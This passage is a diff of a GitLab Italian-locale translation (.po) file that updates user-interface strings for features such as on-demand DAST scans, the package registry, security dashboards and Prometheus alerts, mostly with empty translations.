+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr "Solo i membri del progetto possono commentare."
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr "Elimina account"
-
msgid "Profiles|Delete account"
msgstr "Elimina account"
-msgid "Profiles|Delete your account?"
-msgstr "Eliminare il tuo account?"
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr "Nome"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "Mai"
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr "Ulteriori informazioni"
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr "Rimuovi progetto"
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr "Ricerca branches e tags"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr "L'insieme di eventi aggiunti ai dati raccolti per quello stadio."
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr "Chiunque può accedere a questo progetto (senza alcuna autenticazione)."
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
